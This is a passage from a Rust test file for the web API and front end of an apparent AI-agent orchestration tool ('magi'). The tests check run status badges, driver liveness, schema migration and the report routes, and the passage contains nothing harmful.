18486 ok: true,
18487 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18488 empty: false,
18489 });
18490 write_state(&f.runs(), &none_run);
18491
18492 let mut pr_run = RunState::new(
18493 PathBuf::from("/repo/magi"),
18494 "main".to_owned(),
18495 "0123456789abcdef".to_owned(),
18496 "Add a web UI".to_owned(),
18497 Config::default(),
18498 );
18499 pr_run.id = "20260902-140504-prcl".to_owned();
18500 pr_run.status = RunStatus::Ready;
18501 pr_run.merge = Some(crate::run::MergeOutcome {
18502 mode: crate::config::MergeMode::Pr,
18503 ok: false,
18504 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18505 empty: false,
18506 });
18507 write_state(&f.runs(), &pr_run);
18508
18509 let summary = f.get("/api/runs").await.json();
18510 let rows: std::collections::HashMap<&str, &Value> = summary
18511 .as_array()
18512 .expect("an array")
18513 .iter()
18514 .map(|r| (r["id"].as_str().expect("an id"), r))
18515 .collect();
18516 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18517 assert_eq!(
18518 rows[none_run.id.as_str()]["unmerged_by_design"],
18519 true,
18520 "a mode-none Ready must be flagged in the list"
18521 );
18522 assert_eq!(
18523 rows[pr_run.id.as_str()]["unmerged_by_design"],
18524 false,
18525 "a Ready reached by a closed pull request is a different case"
18526 );
18527
18528 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18529 assert_eq!(none_detail["status"], "ready");
18530 assert_eq!(none_detail["unmerged_by_design"], true);
18531
18532 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18533 assert_eq!(pr_detail["unmerged_by_design"], false);
18534 }
18535
18536 #[tokio::test]
18541 async fn run_core_survives_unavailable_related_stores() {
18542 let home = TempDir::new().unwrap();
18543 let ui = delta_test_ui(home.path());
18544 let state = RunState::new(
18545 PathBuf::from("/repo/magi"),
18546 "main".into(),
18547 "0123456789abcdef".into(),
18548 "Useful core instructions".into(),
18549 Config::default(),
18550 );
18551 let dir = ui.runs.join(&state.id);
18552 std::fs::create_dir_all(&dir).unwrap();
18553 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18554 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18555 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18556 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18557 .await
18558 .unwrap()
18559 .0;
18560 assert_eq!(core.state.instruction, state.instruction);
18561 assert_eq!(core.state.updated_at, state.updated_at);
18562 assert!(core.task.is_none());
18563 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18564 }
18565
18566 #[tokio::test]
18567 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18568 let f = Fixture::start().await;
18569 let id = "20260902-140502-bbbb";
18573 let mut state = RunState::new(
18574 PathBuf::from("/repo/magi"),
18575 "main".to_owned(),
18576 "0123456789abcdef".to_owned(),
18577 "Add a web UI".to_owned(),
18578 Config::default(),
18579 );
18580 state.id = id.to_owned();
18581 state.status = RunStatus::Judging;
18582 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18583 let dir = f.runs().join(id);
18584 std::fs::create_dir_all(&dir).expect("run dir");
18585 std::fs::write(
18586 dir.join("run.json"),
18587 serde_json::to_string_pretty(&state).expect("serialize run"),
18588 )
18589 .expect("write run.json");
18590
18591 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18597 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18598 assert_eq!(cold["live"], "unknown", "{cold}");
18599
18600 write_daemon(f.home.path(), Timestamp::now());
18603 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18604 assert_eq!(warm["live"], "live", "{warm}");
18605 }
18606
18607 #[test]
18608 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18609 let home = tempfile::tempdir().expect("temp home");
18610 let runs = home.path().join("runs");
18611 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18612 let mut state = RunState::new(
18613 PathBuf::from("/repo/magi"),
18614 "main".to_owned(),
18615 "0123456789abcdef".to_owned(),
18616 "Generated review context, not authored task criteria".to_owned(),
18617 Config::default(),
18618 );
18619 state.origin = origin;
18620 state.status = RunStatus::Blocked;
18621 state.driver_exited = false;
18623 state.gate_ran = true;
18624 let expected = serde_json::to_value(&state).expect("serialize current state");
18625 let mut legacy = expected.clone();
18626 legacy["schema"] = serde_json::json!(13);
18627 legacy.as_object_mut().unwrap().remove("task_instruction");
18628 let dir = runs.join(&state.id);
18629 std::fs::create_dir_all(&dir).expect("run dir");
18630 let path = dir.join("run.json");
18631 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18632 std::fs::write(&path, &body).expect("write legacy run");
18633
18634 for loaded in [
18635 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18636 read_run(&runs, &state.id).expect("web migration"),
18637 ] {
18638 assert_eq!(loaded.schema, crate::run::SCHEMA);
18639 assert!(loaded.task_instruction.is_none());
18640 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18641 }
18642 assert_eq!(runs_unreadable(&runs), 0);
18643 assert_eq!(std::fs::read(&path).unwrap(), body);
18644 }
18645 }
18646
18647 #[tokio::test]
18650 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18651 let f = Fixture::start().await;
18652 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18653 let mut state = RunState::new(
18654 PathBuf::from("/repo/magi"),
18655 "main".to_owned(),
18656 "0123456789abcdef".to_owned(),
18657 "Add a web UI".to_owned(),
18658 Config::default(),
18659 );
18660 state.id = id.to_owned();
18661 state.origin = origin;
18662 let mut value = serde_json::to_value(&state).expect("serialize run");
18663 if let Some(schema) = schema {
18664 value["schema"] = serde_json::json!(schema);
18665 value.as_object_mut().unwrap().remove("origin");
18666 }
18667 let dir = f.runs().join(id);
18668 std::fs::create_dir_all(&dir).expect("run dir");
18669 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18670 };
18671 write(
18672 "20260930-092817-ec34",
18673 Some(crate::run::Origin::from_agent_env(
18674 Some(("4a7b".to_owned(), "chat".to_owned())),
18675 None,
18676 )),
18677 None,
18678 );
18679 write("20260930-092817-0ld1", None, Some(12));
18680
18681 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18682 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18683 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18684
18685 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18686 assert_eq!(
18687 old["origin_label"], "origin unknown (started before origins were recorded)",
18688 "{old}"
18689 );
18690 assert!(old["origin"].is_null(), "{old}");
18691
18692 let list = f.get("/api/runs").await.json();
18693 let labels: Vec<_> = list
18694 .as_array()
18695 .unwrap()
18696 .iter()
18697 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18698 .collect();
18699 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18700 }
18701
18702 #[tokio::test]
18709 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18710 let f = Fixture::start().await;
18711 let id = "20260922-090000-cccc";
18712 let mut state = RunState::new(
18713 PathBuf::from("/repo/magi"),
18714 "main".to_owned(),
18715 "0123456789abcdef".to_owned(),
18716 "Review only".to_owned(),
18717 Config::default(),
18718 );
18719 state.id = id.to_owned();
18720 state.status = RunStatus::Reviewing;
18721 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18722 state.driver_pid = Some(std::process::id());
18728 state.driver_started_at = Some(
18729 crate::proc::process_started_at(std::process::id())
18730 .expect("this test process's own start time must be queryable"),
18731 );
18732 let dir = f.runs().join(id);
18733 std::fs::create_dir_all(&dir).expect("run dir");
18734 std::fs::write(
18735 dir.join("run.json"),
18736 serde_json::to_string_pretty(&state).expect("serialize run"),
18737 )
18738 .expect("write run.json");
18739
18740 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18741 assert_eq!(detail["live"], "live", "{detail}");
18742 }
18743
18744 #[tokio::test]
18750 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18751 let f = Fixture::start().await;
18752 let id = "20260922-090100-dddd";
18753 let mut state = RunState::new(
18754 PathBuf::from("/repo/magi"),
18755 "main".to_owned(),
18756 "0123456789abcdef".to_owned(),
18757 "Review only".to_owned(),
18758 Config::default(),
18759 );
18760 state.id = id.to_owned();
18761 state.status = RunStatus::Reviewing;
18762 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18763 state.driver_pid = Some(std::process::id());
18768 state.driver_started_at = Some("1".to_owned());
18769 let dir = f.runs().join(id);
18770 std::fs::create_dir_all(&dir).expect("run dir");
18771 std::fs::write(
18772 dir.join("run.json"),
18773 serde_json::to_string_pretty(&state).expect("serialize run"),
18774 )
18775 .expect("write run.json");
18776
18777 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18778 assert_eq!(detail["live"], "dead", "{detail}");
18779 }
18780
18781 #[test]
18785 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18786 let mk = |id: &str, pid: Option<u32>| {
18787 let mut s = RunState::new(
18788 PathBuf::from("/repo/magi"),
18789 "main".to_owned(),
18790 "0123456789abcdef".to_owned(),
18791 "Add a web UI".to_owned(),
18792 Config::default(),
18793 );
18794 s.id = id.to_owned();
18795 s.driver_pid = pid;
18796 s.driver_started_at = Some("1790000000".to_owned());
18797 s
18798 };
18799 let states = vec![
18800 mk("20260902-140502-aaaa", Some(77)),
18801 mk("20260902-140502-bbbb", Some(77)),
18802 mk("20260902-140502-cccc", Some(77)),
18803 mk("20260902-140502-dddd", None),
18804 ];
18805 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18806 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18807 let sup: HashMap<String, String> = [(
18808 "20260902-140502-aaaa".to_owned(),
18809 "20260902-140502-cccc".to_owned(),
18810 )]
18811 .into();
18812
18813 let status_calls = std::cell::Cell::new(0);
18814 let identity_calls = std::cell::Cell::new(0);
18815 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18816 |_| {
18817 status_calls.set(status_calls.get() + 1);
18818 Some(true)
18819 },
18820 |_| {
18821 identity_calls.set(identity_calls.get() + 1);
18822 Some("1790000000".to_owned())
18823 },
18824 ));
18825 let rows = summarize(
18826 states,
18827 &open,
18828 &claimed,
18829 &sup,
18830 |p| probe.borrow_mut().status(p),
18831 |p| probe.borrow_mut().started_at(p),
18832 );
18833
18834 assert_eq!(status_calls.get(), 1, "one pid, one status query");
18835 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18836 assert_eq!(rows.len(), 4);
18837 assert!(!rows[0].waiting && rows[1].waiting);
18838 assert_eq!(rows[0].live, crate::run::Liveness::Live);
18839 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18840 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18841 assert_eq!(rows[1].superseded_by, None);
18842 }
18843
18844 #[test]
18845 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18846 let mut state = RunState::new(
18847 PathBuf::from("/repo/magi"),
18848 "main".to_owned(),
18849 "0123456789abcdef".to_owned(),
18850 "Review only".to_owned(),
18851 Config::default(),
18852 );
18853 state.id = "20260922-090200-dead".to_owned();
18854 state.status = RunStatus::Reviewing;
18855 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18856 .expect("serialize list row");
18857 assert_eq!(row["status"], "reviewing");
18858 assert_eq!(row["display_status"], "stale");
18859 assert_eq!(row["live"], "dead", "{row}");
18860 assert!(!row["done"].as_bool().unwrap());
18861 }
18862
18863 #[test]
18864 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18865 use crate::run::Liveness::{Dead, Live, Unknown};
18866 let mut state = RunState::new(
18867 PathBuf::from("/repo/magi"),
18868 "main".to_owned(),
18869 "abc".to_owned(),
18870 "Review only".to_owned(),
18871 Config::default(),
18872 );
18873 for (status, parked, node, waiting, live, expected) in [
18874 (
18875 RunStatus::Judging,
18876 true,
18877 "github-text",
18878 false,
18879 Dead,
18880 "parked",
18881 ),
18882 (RunStatus::Judging, false, "park", false, Dead, "stale"),
18883 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18884 (
18885 RunStatus::Judging,
18886 true,
18887 "github-text",
18888 true,
18889 Dead,
18890 "waiting",
18891 ),
18892 (
18893 RunStatus::Judging,
18894 false,
18895 "github-text",
18896 true,
18897 Dead,
18898 "waiting",
18899 ),
18900 (
18901 RunStatus::Judging,
18902 false,
18903 "github-text",
18904 false,
18905 Dead,
18906 "stale",
18907 ),
18908 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18909 (RunStatus::Judging, true, "park", false, Live, "judging"),
18910 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18911 (RunStatus::Merged, true, "park", false, Dead, "merged"),
18912 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18913 (
18914 RunStatus::Blocked,
18915 true,
18916 "github-text",
18917 true,
18918 Dead,
18919 "waiting",
18920 ),
18921 ] {
18922 state.status = status;
18923 state.parked = parked;
18924 state.events.clear();
18925 state.event(
18926 "park",
18927 "an earlier park does not determine the latest state",
18928 );
18929 state.event(node, "message is not used for classification");
18930 let summary = RunSummary::of(&state, waiting, live);
18931 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18932 assert_eq!(
18933 summary.display_status, expected,
18934 "{status:?}/{node}/{live:?}"
18935 );
18936 assert_eq!(detail.display_status, summary.display_status);
18937 assert_eq!(detail.waiting, summary.waiting);
18938 }
18939 state.status = RunStatus::Judging;
18940 state.parked = false;
18941 state.events.clear();
18942 assert_eq!(run_display_status(&state, false, Dead), "stale");
18943 }
18944
18945 #[test]
18946 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18947 use crate::run::Liveness::{Dead, Live, Unknown};
18948 let mut state = RunState::new(
18949 PathBuf::from("/repo/magi"),
18950 "main".to_owned(),
18951 "abc".to_owned(),
18952 "Badge".to_owned(),
18953 Config::default(),
18954 );
18955 for (status, waiting, live, superseded, expected) in [
18956 (RunStatus::Gating, false, Dead, false, "stale"),
18957 (RunStatus::Gating, false, Dead, true, "superseded"),
18958 (RunStatus::Gating, false, Unknown, true, "superseded"),
18959 (RunStatus::Gating, true, Dead, true, "superseded"),
18960 (RunStatus::Gating, true, Dead, false, "waiting"),
18961 (RunStatus::Gating, false, Unknown, false, "gating"),
18962 (RunStatus::Gating, false, Live, true, "gating"),
18963 (RunStatus::Gating, true, Live, true, "waiting"),
18964 (RunStatus::Merged, false, Dead, true, "merged"),
18965 (RunStatus::Blocked, false, Dead, true, "blocked"),
18966 ] {
18967 state.status = status;
18968 let display = run_display_status(&state, waiting, live);
18969 assert_eq!(
18970 run_badge_status(&state, &display, live, superseded),
18971 expected,
18972 "{status:?}/{live:?}/superseded={superseded}"
18973 );
18974 }
18975 }
18976
18977 #[test]
18978 fn summarize_and_detail_expose_badge_status() {
18979 use crate::run::Liveness::Dead;
18980 let mut state = RunState::new(
18981 PathBuf::from("/repo/magi"),
18982 "main".to_owned(),
18983 "abc".to_owned(),
18984 "Badge".to_owned(),
18985 Config::default(),
18986 );
18987 state.status = RunStatus::Gating;
18988 let none = HashSet::new();
18989 let id = state.id.clone();
18990 let mut by = HashMap::new();
18991 let rows = summarize(
18992 [state.clone()],
18993 &none,
18994 &none,
18995 &by,
18996 |_| Some(false),
18997 |_| None,
18998 );
18999 assert_eq!(rows[0].badge_status, rows[0].display_status);
19001 by.insert(id, "20260901-000000-913b".to_owned());
19002 let detail = RunDetailView::of(
19003 state.clone(),
19004 false,
19005 Dead,
19006 Some("913b".to_owned()),
19007 None,
19008 None,
19009 );
19010 assert_eq!(detail.badge_status, "superseded");
19011 let json = serde_json::to_value(&detail).unwrap();
19012 assert_eq!(json["badge_status"], "superseded");
19013 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19014 assert_eq!(detail.badge_status, "stale");
19015 }
19016
19017 #[tokio::test]
19018 async fn run_display_status_routes_share_the_open_question_store() {
19019 let f = Fixture::start().await;
19020 let id = "20260922-090200-abcd";
19021 write_run(&f.runs(), id, RunStatus::Judging);
19022 let mut state = read_run(&f.runs(), id).unwrap();
19023 state.parked = true;
19024 state.driver_exited = true;
19025 state.event("github-text", "waiting for the owner");
19026 state.save_under(f.home.path()).unwrap();
19027 let mut task = Task::new(
19028 "resumed task".to_owned(),
19029 "do it".to_owned(),
19030 PathBuf::from("/repo"),
19031 Source::Human,
19032 );
19033 task.runs = vec![id.to_owned(), id.to_owned()];
19034 f.queue().put(&mut task).unwrap();
19035 let store = f.questions();
19036 let mut q = Question::new(
19037 id.to_owned(),
19038 "github-text".to_owned(),
19039 "owner".to_owned(),
19040 "Approve the text?".to_owned(),
19041 String::new(),
19042 Vec::new(),
19043 );
19044 store.put(&mut q).unwrap();
19045 for expected in ["waiting", "parked"] {
19046 let list = f.get("/api/runs").await.json();
19047 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19048 assert_eq!(list[0]["display_status"], expected);
19049 assert_eq!(detail["display_status"], expected);
19050 assert_eq!(detail["waiting"], list[0]["waiting"]);
19051 assert_eq!(list[0]["badge_status"], expected);
19052 assert_eq!(detail["badge_status"], expected);
19053 assert!(list[0]["superseded_by"].is_null());
19054 assert!(detail["superseded_by"].is_null());
19055 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19056 let history = task_detail["history"].as_array().unwrap();
19057 assert_eq!(history.len(), 2);
19058 assert!(history[0]["badge"].is_null());
19059 assert_eq!(history[1]["badge"], expected);
19060 q.status = ask::QuestionStatus::Answered;
19061 store.put(&mut q).unwrap();
19062 }
19063 }
19064
19065 #[tokio::test]
19066 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19067 let f = Fixture::start().await;
19068 let id = "20260922-090200-abcd";
19069 write_run(&f.runs(), id, RunStatus::Judging);
19070 let mut state = read_run(&f.runs(), id).unwrap();
19071 state.parked = true;
19072 state.driver_exited = true;
19073 state.event("park", "stopped at a node boundary");
19074 state.save_under(f.home.path()).unwrap();
19075
19076 for expected in ["parked", "stale"] {
19077 let list = f.get("/api/runs").await.json();
19078 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19079 assert_eq!(list[0]["live"], "dead");
19080 assert_eq!(list[0]["display_status"], expected);
19081 assert_eq!(detail["display_status"], expected);
19082 state.parked = false;
19085 state.save_under(f.home.path()).unwrap();
19086 }
19087 }
19088
19089 #[tokio::test]
19090 async fn the_run_list_is_newest_first_and_honours_a_limit() {
19091 let f = Fixture::start().await;
19092 for id in [
19093 "20260902-140501-aaaa",
19094 "20260902-140502-bbbb",
19095 "20260902-140503-cccc",
19096 ] {
19097 write_run(&f.runs(), id, RunStatus::Merged);
19098 }
19099
19100 let all = f.get("/api/runs").await.json();
19101 let capped = f.get("/api/runs?limit=2").await.json();
19102
19103 assert_eq!(all[0]["id"], "20260902-140503-cccc");
19104 assert_eq!(all.as_array().map(Vec::len), Some(3));
19105 assert_eq!(capped.as_array().map(Vec::len), Some(2));
19106 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19107 }
19108
19109 #[tokio::test]
19110 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19111 let f = Fixture::start().await;
19112 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19113
19114 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19115
19116 assert_eq!(res.status, 200);
19117 assert!(
19118 res.headers
19119 .contains("content-type: text/plain; charset=utf-8"),
19120 "a browser must render it, not download it: {}",
19121 res.headers
19122 );
19123 assert!(
19127 res.body.contains("20260902-140501-a1b2"),
19128 "the report is about the run that was asked for: {}",
19129 res.body
19130 );
19131 }
19132
19133 #[tokio::test]
19134 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19135 crate::run::pin_test_home();
19137 let f = Fixture::start().await;
19138 let id = "20260902-140501-a1b2";
19139 write_run(&f.runs(), id, RunStatus::Stalled);
19140 let path = f.runs().join(id).join("run.json");
19143 let mut v: serde_json::Value =
19144 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19145 v["tally"] = serde_json::json!({
19146 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19147 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19148 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19149 "met_quorum": false, "rankings": 1
19150 });
19151 v["reviews"] = serde_json::json!([{
19152 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19153 "e2e_deferred": true,
19154 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19155 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19156 ]}]
19157 }]);
19158 std::fs::write(&path, v.to_string()).unwrap();
19159 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19160 std::fs::write(
19161 f.runs().join("20260902-140502-dead").join("run.json"),
19162 "{not json",
19163 )
19164 .unwrap();
19165
19166 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19167
19168 assert_eq!(res.status, 200, "{}", res.body);
19169 assert!(res.headers.contains("content-type: application/json"));
19170 let j = res.json();
19171 assert_eq!(j["schema"], 1);
19172 assert_eq!(j["header"]["id"], id);
19173 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19174 let kinds: Vec<&str> = j["sections"]
19175 .as_array()
19176 .unwrap()
19177 .iter()
19178 .map(|s| s["kind"].as_str().unwrap())
19179 .collect();
19180 assert_eq!(kinds, ["candidates", "tally", "review"]);
19181 let tally = &j["sections"][1]["tally"];
19182 assert_eq!(
19183 (tally["decided"].clone(), tally["provisional"].clone()),
19184 (false.into(), true.into())
19185 );
19186 let round = &j["sections"][2]["rounds"][0];
19187 assert_eq!(round["e2e"]["state"], "deferred");
19188 assert_eq!(round["findings"][0]["severity"], "major");
19189 assert_eq!(round["findings"][0]["blocking"], true);
19190 assert_eq!(round["findings"][0]["state"], "open");
19191
19192 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19194
19195 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19197 assert_ne!(bad.status, 200, "{}", bad.body);
19198 assert_eq!(
19199 bad.status,
19200 f.get("/api/runs/20260902-140502-dead/report").await.status
19201 );
19202 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19203 assert_eq!(
19204 f.get("/api/runs/20260902-999999-ffff/report.json")
19205 .await
19206 .status,
19207 404
19208 );
19209 }
19210
19211 #[tokio::test]
19212 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19213 crate::run::pin_test_home();
19214 let f = Fixture::start().await;
19215 let id = "20260902-140503-delib";
19216 write_run(&f.runs(), id, RunStatus::Merged);
19217 let path = f.runs().join(id).join("run.json");
19218 let mut v: serde_json::Value =
19219 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19220 v["judgements"] = serde_json::json!([
19221 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19222 ]);
19223 v["tally"] = serde_json::json!({
19224 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19225 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19226 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19227 "met_quorum": true, "rankings": 1
19228 });
19229 v["deliberation"] = serde_json::json!([
19230 {
19231 "round": 1,
19232 "turns": [
19233 {
19234 "judge": 1,
19235 "agent": "judge-1",
19236 "body": "I prefer candidate **A** because it has cleaner tests.",
19237 "tentative": "A"
19238 }
19239 ]
19240 },
19241 {
19242 "round": 2,
19243 "turns": [
19244 {
19245 "judge": 1,
19246 "agent": "judge-1",
19247 "body": "Still thinking, no choice yet.",
19248 "tentative": null
19249 }
19250 ]
19251 }
19252 ]);
19253 std::fs::write(&path, v.to_string()).unwrap();
19254
19255 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19256 assert_eq!(res.status, 200, "{}", res.body);
19257 let j = res.json();
19258 let judging = j["sections"]
19259 .as_array()
19260 .unwrap()
19261 .iter()
19262 .find(|s| s["kind"] == "judging")
19263 .expect("judging section exists");
19264
19265 let delib_lines = judging["deliberation"].as_array().unwrap();
19267 assert_eq!(delib_lines.len(), 2);
19268 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19269 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19270
19271 let rounds = judging["rounds"].as_array().unwrap();
19273 assert_eq!(rounds.len(), 2);
19274 let r1_t0 = &rounds[0]["turns"][0];
19275 assert_eq!(r1_t0["judge"], 1);
19276 assert_eq!(r1_t0["agent"], "judge-1");
19277 assert_eq!(r1_t0["tentative"], "A");
19278 assert_eq!(
19279 r1_t0["body"],
19280 "I prefer candidate **A** because it has cleaner tests."
19281 );
19282 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19283
19284 let r2_t0 = &rounds[1]["turns"][0];
19285 assert_eq!(r2_t0["judge"], 1);
19286 assert_eq!(r2_t0["agent"], "judge-1");
19287 assert!(r2_t0["tentative"].is_null());
19288 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19289 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19290
19291 let id_empty = "20260902-140504-nodelib";
19293 write_run(&f.runs(), id_empty, RunStatus::Merged);
19294 let path_empty = f.runs().join(id_empty).join("run.json");
19295 let mut v_empty: serde_json::Value =
19296 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19297 v_empty["judgements"] = serde_json::json!([
19298 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19299 ]);
19300 v_empty["deliberation"] = serde_json::json!([]);
19301 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19302
19303 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19304 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19305 let j_empty = res_empty.json();
19306 let judging_empty = j_empty["sections"]
19307 .as_array()
19308 .unwrap()
19309 .iter()
19310 .find(|s| s["kind"] == "judging")
19311 .expect("judging section exists");
19312 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19313 }
19314
19315 #[tokio::test]
19316 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19317 let f = Fixture::start().await;
19318
19319 let html = f.get("/").await;
19320 let css = f.get("/app.css").await;
19321 let js = f.get("/app.js").await;
19322
19323 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19324 assert!(
19325 html.headers
19326 .contains("content-type: text/html; charset=utf-8")
19327 );
19328 assert!(css.headers.contains("content-type: text/css"));
19329 assert!(js.headers.contains("content-type: text/javascript"));
19330 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19331 }
19332
19333 #[test]
19334 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19335 let body = |name: &str| {
19336 let at = APP_JS
19337 .find(name)
19338 .unwrap_or_else(|| panic!("{name} missing"));
19339 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19340 };
19341 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19342 let note = body("function landRoundNote");
19343 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19344 assert!(note.contains("Land round ${round}"));
19345 let land = body("function renderLand");
19346 let note_at = land
19347 .find("landRoundNote(pr)")
19348 .expect("renderLand uses the note");
19349 assert!(
19350 note_at
19351 < land
19352 .find("roundRail(pr)")
19353 .expect("renderLand uses the rail")
19354 );
19355 }
19356
19357 #[test]
19358 fn the_runs_page_redesign_keeps_its_guards() {
19359 let body = |name: &str| {
19360 let at = APP_JS
19361 .find(name)
19362 .unwrap_or_else(|| panic!("{name} missing"));
19363 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19364 };
19365 let land = body("function renderLand");
19367 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19368 assert!(
19369 !land.contains("box.append("),
19370 "renderLand must use append()"
19371 );
19372 assert!(land.contains("append(box, ["));
19373 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19375 assert!(
19376 body("function applyRoute")
19377 .contains("route.name !== state.route.name || route.id !== state.route.id")
19378 );
19379 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19381 assert!(!INDEX_HTML.contains("advise-converge"));
19382 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19383 assert!(APP_JS.contains("provisional"));
19384 for id in [
19385 "run-tab-overview",
19386 "run-tab-timeline",
19387 "run-tab-report",
19388 "run-report",
19389 "runs-scope",
19390 ] {
19391 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19392 }
19393 assert!(!INDEX_HTML.contains("runs-tree"));
19394 assert!(!INDEX_HTML.contains("run-raw-panel"));
19395 assert!(APP_JS.contains("resume"));
19397 assert!(APP_JS.contains("unreadable"));
19399 }
19400
19401 #[test]
19402 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19403 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19404 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19405 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19406 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19407 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19408 assert!(APP_JS.contains("unreadable` : null"));
19410 }
19411
19412 #[test]
19413 fn blocked_run_detail_exposes_the_failed_gate_reason() {
